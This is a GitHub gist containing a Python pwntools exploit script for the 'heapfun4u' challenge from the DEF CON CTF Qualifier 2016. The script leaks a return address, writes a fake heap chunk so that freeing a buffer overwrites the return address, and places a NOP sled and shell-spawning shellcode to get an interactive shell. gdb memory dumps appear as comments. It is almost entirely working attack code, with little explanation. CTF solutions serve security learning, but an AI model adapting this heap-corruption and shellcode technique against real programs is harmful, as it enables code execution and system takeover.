Skip to content

Instantly share code, notes, and snippets.

@Tosainu
Created March 3, 2017 09:38
Show Gist options
  • Save Tosainu/0fce36ed5a6e0f94d61f8925cbee245c to your computer and use it in GitHub Desktop.
Save Tosainu/0fce36ed5a6e0f94d61f8925cbee245c to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
# DEF CON CTF Qualifier 2016: heapfun4u
# https://github.com/ctfs/write-ups-2016/tree/master/def-con-ctf-qualifiers-2016/pwn/heapfun4u
from pwn import *
context(os='linux', arch='amd64')
r = remote('localhost', 4000)
# r = process('./heapfun4u')
# [A]llocate Buffer
# [F]ree Buffer
# [W]rite Buffer
# [N]ice guy
# [E]xit
# |
def choose_action(c):
r.recvuntil('| ')
r.sendline(c)
def alloc_buffer(n):
choose_action('A')
r.recvuntil('Size: ')
r.sendline(str(n))
def free_buffer(i):
choose_action('F')
leak = r.recvuntil('Index: ')
update_buffer_list(leak[:-len('\nIndex: ')])
r.sendline(str(i))
def write_buffer(i, s):
choose_action('W')
leak = r.recvuntil('Write where: ')
update_buffer_list(leak[:-len('\nWrite where: ')])
r.sendline(str(i))
r.recvuntil('Write what: ')
r.sendline(s)
def nice_guy():
choose_action('N')
r.recvuntil('Here you go: ')
return int(r.recvuntil('\n')[:-1], 16)
def exit_app():
choose_action('E')
buffers = dict()
def update_buffer_list(liststr):
global buffers
if liststr:
buffers = dict()
for line in liststr.split('\n'):
a = line.split()
buffers[int(a[0][:-1])] = {'addr': int(a[1], 16), 'size': int(a[3])}
# get main() return_addr
return_addr = nice_guy() + 316
log.info('return address leaked!: 0x%x' % return_addr)
log.info('allocate 1st buffer')
alloc_buffer(200) # 1
log.info('free 1st buffer')
free_buffer(1)
log.info('allocate 4 buffers')
alloc_buffer(10) # 2
alloc_buffer(10) # 3
alloc_buffer(10) # 4
alloc_buffer(10) # 5
log.info('free 4th buffer')
free_buffer(4)
pause()
# gdb-peda$ vmmap
# Start End Perm Name
# ...
# 0x00007f1412474000 0x00007f1412497000 r-xp /usr/lib/ld-2.24.so
# 0x00007f141265b000 0x00007f141265d000 rw-p mapped
# 0x00007f1412695000 0x00007f1412696000 rwxp mapped <--
# 0x00007f1412696000 0x00007f1412697000 r--p /usr/lib/ld-2.24.so
# 0x00007f1412697000 0x00007f1412698000 rw-p /usr/lib/ld-2.24.so
# ...
# gdb-peda$ x/30gx 0x00007f1412695000
# 0x7f1412695000: 0x0000000000000013 0x0000000000000000
# 0x7f1412695010: 0x0000000000000000 0x0000000000000013
# 0x7f1412695020: 0x0000000000000000 0x0000000000000000
# 0x7f1412695030: 0x0000000000000012 0x00007f1412695060 <- 4th chunk bk?
# 0x7f1412695040: 0x0000000000000000 0x0000000000000013
# 0x7f1412695050: 0x0000000000000000 0x0000000000000000
# 0x7f1412695060: 0x0000000000000f98 0x0000000000000000
# 0x7f1412695070: 0x0000000000000000 0x0000000000000000
# 0x7f1412695080: 0x0000000000000000 0x0000000000000000
# 0x7f1412695090: 0x0000000000000000 0x0000000000000000
# 0x7f14126950a0: 0x0000000000000000 0x0000000000000000
# 0x7f14126950b0: 0x0000000000000000 0x0000000000000000
# 0x7f14126950c0: 0x0000000000000000 0x0000000000000000
# 0x7f14126950d0: 0x0000000000000f28 0x0000000000000000
# 0x7f14126950e0: 0x0000000000000000 0x0000000000000000
log.info('allocated buffers:')
for k, v in buffers.iteritems():
print(' {} 0x{:x} {:3d}'.format(k, v['addr'], v['size']))
log.info('create fake chunk')
payload = ''
payload += 'A' * 0x10
payload += p64(0x13) # 3rd chunk size
payload += 'B' * 0x10
payload += p64(0x12) # 4th chunk size
payload += p64(buffers[4].get('addr') + 0x10) # bk
payload += p64(return_addr + 0x8) # fd
write_buffer(1, payload)
log.info('free 3rd chunk')
free_buffer(3)
log.info('write shellcode to 1st buffer')
payload = ''
payload += '\x90' * 0x40
payload += asm(shellcraft.sh())
write_buffer(1, payload)
log.info('exit app')
exit_app()
r.clean()
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment